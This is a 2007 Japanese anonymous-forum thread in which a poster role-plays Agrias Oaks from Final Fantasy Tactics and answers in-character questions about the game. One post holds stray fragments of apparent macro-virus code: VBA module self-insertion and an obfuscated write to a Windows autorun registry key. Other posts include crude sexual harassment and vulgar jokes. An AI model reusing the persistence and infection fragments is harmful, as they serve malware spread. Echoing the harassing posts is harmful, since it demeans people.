アトカーシャ王家直属、ルザリア聖近衛騎士団の騎士。
現在は王女オヴェリア・アトカーシャ様の護衛隊長を務めている、アグリアス・オークスだ。
今はその責務を果たせているとは言い難いのだがな……
人を楽しませる事に疎い非才の身だが、
暫しの間だけ、質疑応答の場を持とうと思う。
気兼ねなく質問をしてくれ。待っているぞ。
にやにや
>>2 ようこそ。貴公が最初の客だ。
こんな悪天候の中だと言うのに、貴公は上機嫌だな。
いいことでもあったのか?
それとも、私の顔に何かついているのか…?
気になるな。差し支えなければ、
何があったのか教えてくれ。
とりあえず脱げ
>>4 な!?
いつもは強引に(ブレイク系で)
無理やり脱がせる癖に、こういう場では
高見の見物をしようというのか?出来ぬ相談だッ!
それに学ばない私ではない。
しっかり「メンテナンス」をセットしているッ!
しかし貴公に必要なのは、
ブレイク系の戦技よりも、
ムード作りのアビリティのようだ。
ラムザの事はどう思っているんだ
結構長い間あなたのことを男だと思っていました。ゴメンなさい。
覚悟しやがれ!
>>6 ラムザのこと?どうした、やぶからぼうに。
一言で答えるのは難しいな。
印象としては、そうだな、誠実で一途な青年。
抱く思想が甘いとも思うが。
彼には、この獅子戦争を終結に導くことはできないだろう。
だが、目的のために、己を信じ進む強さ、そして優しさは、
目的を同じくして集った者にとっては、
精神的な支柱でもある。
でも、あそこまで真っ直ぐ、妹君を心配し、
助けられると信じられるのは、正直羨ましい。
私は、オヴェリア様のことで、しばしば頭がいっぱいになる。
あの直向さは、見習わなければならないな…。
>>7 仕方ない。私も自覚している。
名前も中性的に聞こえるだろうし、
ムスタディオも言っていたが、
化粧とか、お洒落とか……私には、
女らしいことをする暇が、なかなかないのでな。
だが、同時にそれは、女であっても
男と同様に戦地にて剣を振るえているということ。
光栄だぞ、
>>7。
>>8 ガフガリオンッ!?
ライオネル城で、ラムザに討たれたものと思っていたが
まだ生きていたのか。
いや、それとも、あのアルガスという
青年と同様に、妄執に取り憑かれた亡霊か。
無礼ながらも、強き剣士だった貴殿の、
無頼の誇りに、これ以上泥を塗らぬためにも
幽世へ送り返してやろう。
往くぞッ!
ラムザよかガタイ良さそうだよね
クエッ(おいおい人間風情がいきがってるんじゃねーよこの鈍足が)
ニーテムについてどう思われますか?
まるでラムザのお姉さんみたいですね
二日目だ。
>>11 ラムザが、そうそう逞しい
見た目をしているわけではないからな。
私は身長もそれなりにあるし、
幼い頃から剣に親しんできた。
体つきに差異が出てしまう。
それに騎士が、姫君より小柄だと、
格好がつかないだろう。
>>12 MOVE3はそんなにいけないことなのか?
確かに貴殿らのように
その6もあるムーブを活かして
自由に草原をかけまわることなどできない。
だが、私達は武器を装備し、
あらゆるジョブにつくことが出来る。だから
大勢で現れるのはやめていただきたい。
>>13 遠目からその活躍を見ていた。
今、彼は元気にやっているのだろうか。
たいそうな人気者であったようで、
彼の周りは常に活気に満ち溢れていた。
嗜虐と被虐の狭間でも
ああも楽しくいられるのだろうか、と。
もしああやって人を楽しませることができれば、
オヴェリア様も私に心を
開いてくださっただろうか……。
>>14 イヴァリースでは、この髪色や瞳の色は
珍しいものではない。
年長者なりの行動をしているつもりだが、
貴校にはそう見えたのだろうな。
だが彼には、立派な兄妹がいる。
そこに並び立つ気にはならない。
瞳の色と言えば、あのクラウドは
とても美しい色をしていたな…。
結婚は何歳頃したい?
その話題はやばいぞ!
アグリアス様、私の許嫁になりませんか?
昨日FFT買ったんですけど難しいです><
モンクの汎用性は異常
>>17 けっこん…。
そうだな、私もいつまでも
剣を振るっていられるわけではない。
王家のため、子を残し、
優秀な騎士へと育て上げるが努めか。
しかし、何歳と言われても
すぐには答えを出せるとは思わない。
私にはまだやることがある。
その後ゆっくり考えるよ。
>>18 やばいわけではない。
行き遅れているのは重々に承知している。
聞くところによると、
肌の曲がり角が25とか……
女としては少し、胸が痛いな。
それはプロポーズか?
そうだな、生きて戻れたら考えておく。
ただし、オヴェリア様が御無事に
ご結婚なされたらな。
私が先に幸せになるわけにはいかない。
>>19 ありがとう。
貴公も我らの物語を紐解いてくれたのだな。
うれしく思う。勝手が掴めないと、
最初は右も左もわからずに、
幾度も剣を受け、矢に射られ、
炎に焼かれてしまうと思う。
訓練を欠かさず、効率よく
ジョブの習熟度を高めていけば、
自らがもっとも楽しめるやり方を見出せるはずだ。
もちろん、私が操作ユニットに加われば
最前線に出してもらって構わない。
足は少し遅いが、この剣は利便性に富む技が
いくつもあるからな。
もし、とても強い老人が仲間になっても
お蔵入りにはしてくれるなよ…?
>>20 しかし、双方露出が激しすぎる。
あれは寒くはないのだろうか?
いや、それすらも「気」で
はねのけている…モンクとはそういうジョブだったな。
しかし女子モンクの服は
暴れたらすぐにずれてしまいそうで、
傍から見ていてはらはらする。
チャクラや地烈斬など、便利なアビリティも
多い。ぜひ戦場で役立ててやってくれ…。
アグリアスの鬼畜ぶりは異常
アグリアスはずっと踊り子だった!
マップの隅で踊り続けるアグリアスは最高だった!!
次は戦いに参加させるね……
ブラジャー頂戴
池にきんたま落としたら、女神様が現れて
「あなたが落としたのはこの金のきんたまですか それとも蛋白質等でできた内臓のきんたまですか?」
と聞かれた。
セックスできなくなるのは嫌なので「蛋白質のきんたまです」と答えた。
すると「あなたは欲のない正直な人ですね。ほうびにこの金のきんたまをさし上げましょう。よろしければ今晩、私の身体も好きにしてもいいですよ。」
いいからとにかく本物のきんたま返せ。
獅子戦争は買いました?劣化移植らしいけど
三日目だ。
来訪してくれる皆、本当に感謝しているぞ。
>>23 きちく? そう思ったのか…?
確かに一般ユニットに比べれば
安易に強力な攻撃ができるように
なっているが、メリアドールや
オルランドゥ伯ほどの、
鬼神が如き強さはないぞ。
足も遅いし…。
>>24 そうか。確かにあれは女の特権。
私としてはJUMP +3より「MOVE +3」が
欲しかったのだが、暗黒騎士にならねば
取れないのだ…信仰の道に既に背いた以上
なることに制約はないが、やはり抵抗がある。
だが、ありがとう。
戦列に加えてくれているだけで助かる。
何もしないでいると、余計なことばかり
考えてしまう…。
>>25 そ、それは出来ない相談だ…。
これは私達にとって大事なものなのだ。
ないと動き難くて仕方がない。
だから、すまない…。
下着を売っているところなら紹介するぞ。
ドーターの二番通りにだな…。
>>26-27 あまり女の身体の話で
盛り上がることは関心しない。
煩悩や妄想は戦場で決定的な隙を
作ってしまうことがあるのだ。
当然、私の身体のことでもだ。
だから、どっちかは伏せておく。
>>28 ………………………。
最初の時点で既に手遅れなのでは…?
>>29 この扉の向こうに異様な気配を感じる。
この先に踏み込めば、もう戻って
来ることが出来ないのかもしれない。
私は今、命を落とすわけには
いかないのだ。ルカヴィを倒すために
熊ごときに遅れをとるわけには…。
>>30 ああ。
私とオヴェリア様が再会できる、という
私にとってもとても嬉しいイベントが
追加されているのだ。買うしかないだろう。
劣化というよりも、
魔法の視覚効果がちょっと遅れたり、
悲鳴が猫の鳴き声のようになったという
だけで、そうそうおかしいものではないぞ?
もしまだ買っていないのなら、
本体と一緒に買うといい。私も
ぴーえすぴーのなかで待っている。
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
よくわからないからチョコボの卵おいときますね
アグリアス
('A`)ハァハァ
聖剣技の力量
シド>>ウィーグラフ>ディリータ>>>>アグリアス
へえ…そんなイベントが追加されてたんだ。
それは買わねば!
そしてアグリアスさんを踊り子以外のジョブにもつけるぞ!
アグリアスの事を考えると夜も眠れません
イヴァリースの観光名所はどこですか
異邦人クラウドについて何か一言おながいします。
明日手術でかなり怖いです
しかも術後は背中と尿道に管を入れるらしく、抜く時が痛そうです
アグリアスさんならこういう不安に打ち克つ為に何をしますか?
ニーテムさんと素手で喧嘩して勝てますか?
四日目だ。
最近は雨続きだった。
そろそろ進むことも出来るだろう。
>>34 ? よくわからないな。
とりあえず話術士に渡して、
翻訳してもらうとするか。
>>35 お前もか。
>>34が何か
詳しそうな者に聞きたかったのだが。
そしてこのチョコボの卵、
親チョコボは居ないのか?
居るのなら仲間に、
居ないのなら糧に…。
然るべき処置をせねば…。
美味いものを食べるのも
行動するためには必要なのだ。
いや、おなかがすいている…
というわけではないぞ。
>>36 どうした?
顔が疲れを訴えている。
すぐに休めないならポーションを、
休めるなら、暖かい飲み物を
飲んで、ベッドに入るのだ。
無理をしてもいいことはない。
休めるうちに、休んで
おかなくてはならないぞ。
>>37 確かにその方々は、
聖剣技を扱う上に、
かなり強い……
しかもそれぞれ
高い立場にいたり、
出世をしたり、
難所に数えられたり…
そういうところでも差を
つけられているというなら…
…わ、私はどうすればいい?
このままでは、り、リストラを
されてしまう…!それだけは…
46 :
以上、自作自演でした。:2007/10/02(火) 22:07:55
アグに挟まるッ
>>38 ああ。ぜひ頼む。
ずっと踊りっぱなしだと、いざ
オヴェリア様の護衛に戻ったとき、
つい踊りだしてしまったり、
歌いだしてしまったら、
あの方にも迷惑をかけてしまう。
それと、ぜひMOVE+3を取れるように
暗黒騎士をだな…いや、剣技はいい。
MOVEを…
>>39 私のことを?
ありがとう、と言えばいいのか
すまない、と言えばいいのか
わからないが…私自身にも
その想いをほぐしてやることは
出来ないらしい…だから、
私のことを忘れてくれ。そして
安らかに夢を見て、明日を生きるのだ。
>>40 どこと言われてもな。
今は戦争中だから、どこも…。
目に焼きついている風景はと言えば
平原の、あの日の夕日…
あの方の笑顔、草笛の音。
そうだな、自然には満ち溢れている。
ゴーグのようなところに住んで
いるのであれば、どこも美しく
見えるのかもしれない。
貴公がもし訪れたとき、よい日々を
送るためにも、早くに戦争が
終わればいいのだが。
>>41 クラウドか。
とんだことから戦列に加わったが、
女のような容姿と華奢な身体に
かかわらず、身の丈ほどの剣を振るい
何かにおびえたような、悲しむような
美しい色の瞳。急に苦しみだしたりと
なぞめいていて、語るには
尽きない男だが…一言か。
では、
『リミット(笑)』
>>42 しゅじゅちゅ…しゅじゅ、しゅ……
コホン…そうか、大変だな。
その…それをやるには
度胸が必要だろう。痛みを
とめるために、麻酔を使う
らしいが…かかるというだけでも
怖いのだろうな。
だが、強く信じてみればいい
痛みを通り過ぎれば、健康な自分に
戻れるのだと。
私はいつも不安に苛まれている。
だが、あの方はきっとご無事だと。
また会えると。
そのためには生き残るため、
絶対に勝てる、と、私は信じている。
信じぬくことだ。己と…目の前の
すべてを。
>>43 彼がモンクで、私が話術士とか
悲しいマッチメイクが行われなければ
どうにかなるのではないだろうか。
彼は神殿騎士団のアイテム士
私は騎士団。アドバンテージは
存在しない、だが
彼の奇妙な元気と強さに
あまり勝てる気がしないような
あっさり勝ててしまえるような…
微妙なところだ。
>>46 (むぎゅ)
うっ!?
…どうやら挟んでしまった
ようだな。怪我はないか?
しばしばこういうことが起こる。
少しぼうっとしてしまうとこれだ。
それとも、隙を狙って
滑り込んだ貴公のSpeed値を
賞賛するべきなのだろうか…。
聖剣技って憧れるよな、自分は見習い戦士だから使えないしな
闇の剣も使いたいし、一度でもいいから剣技系【特殊】を使いたい
>>51 ほぅ、お前さンは闇のけンを使いたいンか
俺様の技は教えれねぇけど確かあン黒騎士になれば使えたような気がしたぜ
リストラされてもアグリアス程の騎士なら仕える相手はいるだろ
なんなら傭兵の長になるとか
こりゃ剣を振ってるより腰を振ってる方がお似合いかもなぁ
イヒヒ
強がってても所詮は女
おっぱい揉み揉み攻撃やクリ擦り攻撃されたら、嫌でも濡れて感じちゃうんだろ?
徹夜明けのテンション持ち込むのは自重
「手術」の一言に噛んじゃうアグが可愛かったので、今から頑張ってきます
男の仲間で気になる人はいる?
ディリータってば、ホーリーナイトになって
一年経ってないハズなのにアグより剣技強力なんだな。
おまけにオヴェリア様までとられるしwww
なんという負け組アグ…
ぶっちゃけオヴェリアより自分の方が可愛いって思ってるんでしょ?
61 :
以上、自作自演でした。:2007/10/03(水) 20:32:42
ですよねー
五日目だ。
今日は割と暖かかった。
洗濯物もよく乾いただろう。
チョコボの機嫌もいい。
いい日だ。
>>51 そうか…。
私達ホーリーナイトは教会の洗礼を
受けて、この力を得る。
つまり、まずは其方のほうへ
修道院か、ガリランドの学校で
神学を学んでみるのはどうだ?
即席のものなら、ナイトと竜騎士につき
戦技、ジャンプ、メンテナンスを
セットしてみろ。
ちょっとしたナイトブレードだ。
>>52 貴殿、どこかで…いや気のせいか。
ダークナイトらしい口調だが
名前は名無しになっている。
気のせいだろうか。
あン黒騎士……
『あの黒騎士』のような
言葉遣いだな。
>>53 ……ここだけの話だが
『教会の洗礼を受けた騎士』
ホーリーナイトは、確かに
貴殿らにとっては特別な、
エリートの要職に思えるかも
しれぬが…実際私はただの騎士。
数人の近衛部隊の隊長であるだけで
名前もあまり知られてはいないし
そう立場も高くないし
今の騎士が困窮状態なのも
知っているだろう?つまり…
そういうことだ…。
>>54-55 下卑たことを…!
貴様らもあの北天騎士団の残党かッ!
こんな時に騎士の誇りを忘れ
食い物、金、色!
恥を知れッ!
こちらへ来い!
パンとスープは用意してやる!
だが、それ以上に特訓だ!
その性根から叩きなおしてやるッ!
>>56 徹夜で疲れているのはわかるが
なおのこと、早く休むか
それでなくとも心を落ち着かせ、
冷静であることが大事だな。
…あまり喋りなれてはいないのだ。
無礼をせぬよう言葉の
勉強もしているのだが…
言い訳がましくなってしまったな。
忘れてくれ。
>>57 気になる…?
気になると言えば、全員気になるが
そういう浮いた話は、私の部下の
二人に聞いてくれたほうがいい。
私は今、そういうことをしているような
余裕はないのだ。
何人ものことを同時には
考えられないのだよ。
それに、オヴェリア様の下へ行っても
当分は雑事に追われるだろうしな。
だが、確かに、仲間にいる者たちは
私から見ても、『好漢』だ。
と言うと、女性の目からすれば
贅沢をしているように見えるのかも
しれないな…そういうわけでもないが。
>>58 聞いたところによれば1年で
彼は騎士団を預かる身となった。
彼の政治的手腕や実力は
恵まれたものがあるのだろう、だがそれも
研鑽なくして身につくものではない。
だが奴がオヴェリア様のそばにいると
思うと、胸がもやもやする。なぜだ…?
_,,.-'''゙゙゙゙ ̄ ̄```''ヽ,,
, -'' ゙ヽ, ' ;
;.'゙./ ゙、 ゙;.
;'゙ .l /| .i, ヽ, ヽ, i i ;
O .l / ! .lヽ, ヽ, ヽ l i l
-┼‐ l i .l ゙i .l `、lヽ, 'l l l / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
./ | ヽ_ .l i l゙ー-''`、! ゙'-'゙゙ヽ~~.l .lr‐、 j l, | 私は負け組ではない……
| | l i.|cモヲ ` ゙モヺフ、! lR.l /リ | < 今更悔やむものか……ッ!
 ̄ l li !゚;;; ; ゚. ; ;;; ; | l^_ノ/ / \___________
l .l l 。 i,、. c | レ///リ )
.l .!.i\ d =、;;;;。 . .イ レ/ / ノ, ヒ
;' .l l ! ` 、, .'' //| l/ / / ) ッ
.;'' _l .l-‐-、__f`rご/ | .ル/〆//ノ, ク
'; /゙ l .| / l゙ ; o .| li L._〆〆_ヽ
/ l i |/ / ; ; | ,l.l `/ ``
/ .l.! | | :'/l ;. .| l l_,,、/|
.l !|.|ノ.| '/ ゙l ; ! / ! / ノ
〈〈 。il.| |'/ ゙i ; // / /
.'; } \ 。 / !i ゙l/ '゙ / ./
';, \ 。 Y , | 。/
;.." | `'Y ; ;' ; ; !|V。
`、_〈 ;' ; ; ; ;゙ ; !| \
⊆=ゝ ; ; ; !|. ヽ_・_ ,,,、-"
(`―--`、 ; ; ; !| \・
66 :
チョコボ:2007/10/03(水) 21:39:49
アグに挟まれるクエ
>>59-61 そんなことはない。
つい先日のことだが
私は『女騎士』と表示されているのにも
関わらず、男と間違われることも
あるのだ。
背も高く肩幅も広く、骨も太い。
それに比べオヴェリア様はどうだ。
日焼けをせぬ白い肌に、
繊細なそのお貌。
憂いを帯びた影を落とす睫は長く
目鼻立ちはすっきりとしていて…
その儚げに細いお身体も
あのローブを纏おうとも
一切の違和感を抱かせない。まさに
物語に伝え聞く美姫ではないか。
オヴェリア様への侮辱。
そなたらの首級にて償ってもらう。
覚悟はいいな。
68 :
以上、自作自演でした。:2007/10/03(水) 22:17:32
ディリータの剣技みてオヴェリア様が
「アグリアスより…つよーい!」とかはしゃいでた。
本国へ帰還すればモンスター討伐の名目で処刑されそう
騎士剣一本持たされモルボルの群れの中へ放り込まれ最期を迎えるアグリアス
アグリアスと緑頭巾解雇してセリアとレディを仲間にしたい
素早い動きで次々と敵を一撃で仕留められるし二刀流も強力だし正体もイカス
72 :
51:2007/10/04(木) 12:23:54
おぉ!確かにナイトブレードみたいになれる
しかし
>>52の言うあン黒騎士も闇の剣らしい技も使えるみたいだし
頑張ればあんな『奴ら』など・・・フフッ
アグちゃんおっぱいは?
おっぱいまだー(´A')
オーランっていい奴だよな
俺の嫁のアグを余りイジメないで下さいね
いるんだろ?オナってばっかないで、早く出て来いよ。ア、グ、リ、ア、ス、さん。なんなら相手になろうかケケケ
アグリアスさんは何色のチョコボが好きですか?
ポーションをッ!
時速…780kmで…ッ!投げつけるッ!
戦いが終わったら、住んでみたい所は?
六日目だ。
日に日に暑くなるな。
こういう時は、またいきなり
寒くなったりする…
常に健康であることを、
心がけることが大事だ。
>>66 お前もか。最近はよく挟む。
なかなかいい毛並みをしている。
挟めるほどには健脚と
いうことでもあるし…
どうだ、私たちのところに
来てみないか?ともに戦場を
駆けろ。懐が暖かいときには
山ほどのギサールを食わせてやるぞ。
>>68 奴は優秀だ。
仕方ないだろう。
私は所詮、颯爽と姫君を守る
勇者殿にはなれぬのだ。
物語とは違うのだ。現実はな。
とても悲しいことだ、だから
グッバイ、ディリータ。
>>69 なぜだ。私が何をしたと…
ひいてはオヴェリア様のため
そして王家のためだッ!
教会の腐敗も!
両公の争いも!
獅子戦争が終わればすべて
詳らかにされることだ!
私が何を知っているわけでも
罪を犯したわけでもない!
そんなはずは…
そんなはずは、ないのだ。
>>70 何故知っている。
いや、それが真実というわけではなくて
何故床のことを知っているのだと
聞きたいのだ。
ただの言いがかりなら
毛ほどの傷もつかぬぞ。
>>71 だが、獅子戦争では
最大雇用人数が増えている。
つまり、私たちを解雇せずとも
その二人を雇い入れることが
できるというわけだ…。
オルランドゥ伯の参入により
居所を失うアグリアスや
メリアドールが多数見つかる。
愛護しろ。
>>72 あまりやましいことは考えるな。
心まで暗黒に飲まれてしまう。
ぶきをおさめ たえるのだ
>>73-74 そこにうりぼうがいる。
好きなだけ、もらってこい。
>>75 ああ、そうだな…。
彼は数少ない、ラムザと、私達を
信用してくれる者だ。
あの切れる頭と
すばらしい髪形
軍師としての判断力に
すばらしい髪形…
あの南天騎士団の名軍師は
きっと後世に名を残すだろう。
>>76 ありがとう、あなた。
と言えるほど、私は
しおらしくも、よわくも
かわいらしくもないらしい。
かばって頂いて悪いのだが
これも鍛錬だと思えば
苦にはならないぞ。
だが、重ねて言おう。
…ありがとう。
>>77 よし、来るがいい。
私は全力で行くぞ。
ティンカーリップも装備したし
ジョブはアイテム士
武器はフォーマルハウトを
使わせてもらおうか。
>>78 そうだな。
空を駆けるという森の黒チョコボ
世界各地にいるチョコボ
草原の覇者赤チョコボ
どれもすべてすばらしいものだ
それぞれに味と赴きがある
だがやはりボコが特別なのだ
長い付き合いだからな…。
だから、普通のチョコボが一番好きだ。
>>79 30!
すばらしいな。
誰にもキャッチされず
そしてspeedも申し分ない
だが数字が白いぞ。
>>80 王都ルザリアに。
私が居るべき場所なのだ。
何故ここにいる?(オルランドゥが仲間にいるのに)
おねーさん
エクスカリパー買わない?
あの有名な剣聖も使ってる一品だよ
今ならなんと二万ギルのお買い得価格
オバサン
スポーツ飲料アグエリアス新発売
剣が無いと無能なんですから下がっててください
オーラン=久保田利信
アグかわいいよアグ
信→伸
アグは何で恥ずかしいセリフを普通に叫べるの?
いい大人なんだし
歳考えろよなー
この世の雌は全てクラウザーさんによってレイプ済
つまりアグリアスは非処女。この娘の信仰心ときたらクラウザーさんに対するものだったんだーー。
お腹痛いです('A`)
アグリアスをやっつけろ
助けてーニーテムマーン
うわあああ!かあさああん!
俺、この前みたんだ。
アグリアスが夜中忍び込んでラムザの寝顔を見てる所。
ん?誰かきたようだ。
バストブレイク!
下品なスレだな
急に来なくなったな
このスレもう終わりじゃん
高岩斬り
この男とであわなかったのは宮本武蔵にとっては幸いだった。
天才剣士峰八郎と剣を交えていたら武蔵といえどもその輝かしい戦歴に黒星をつけていたかもしれない。
八郎のあみだした高岩斬りとはどんな剣法か。ちょうどいま峠の下で彼が試合を行うところなので拝見することにしよう。
あ、いや、試合はもう終わっていた。あざやかな高岩斬りによって八郎の相手は股間から血を流して息絶えていた。
そう、高岩斬りとは相手の股間を、正確にいえば男の急所を、はっきりいってしまえば睾丸を切断する剣技のことだった。
剣の修行をはじめたときに八郎は、相手のどこを攻めれば確実に勝利を得られるかを真剣に考えた。
男にはだれでも股の間を狙われれば致命的な、睾丸というものをぶらさげている。
それをあやまたずヒットさえすれば、勝利は確実。
それを悟ったときから毎日、紐にたらした小石を木刀で打ちつける稽古をはじめた。
拳大の石からじょじょに小さくしていきしまいには豆粒ほどの小石を狂いなくとらえることができるようになった。
それからは連戦連勝、八郎の前に睾丸を斬られた兵法者の屍が累々と横たわるようになった。
たちまち彼の名は兵法修行者の間でひろまり、彼を倒して名声をあげんものと名乗りをあげる挑戦者は絶える事がなかった。
たったいま試合を終えたばかりの八郎の前に、はやくも新たな対戦相手が立ちはだかった。
一息いれたいところだったが、相手が小柄の、どことなくひ弱な感じの剣士だったので、
早くかたをつけてしまえとばかり、向かいあって剣を抜くなりいきなり高岩斬りをくりだした。
まちがいなくその剣先は相手の股間を切り裂いたと八郎は確信した。
その直後、彼の額に相手のふりおろした真剣がふかぶかとくいこんでいた。
「なぜだ・・・」
うすれゆく意識の中で八郎は、たしかに断ち切ったはずの相手の股間に目をやった。
そして切り裂かれた袴のその場所に、あるべきものがないのを知った。
・・・不覚、女剣士であったか! それが彼の最期の言葉だった。
M・I・A認定
109 :
以上、自作自演でした。:2007/10/12(金) 04:05:32
あぐりあすー
110 :
以上、自作自演でした。:2007/10/15(月) 18:35:07
遂に除名されちゃったのか…
なんだここwwwwwwwwwwww
完全に終わってるじゃんwwwwwwwww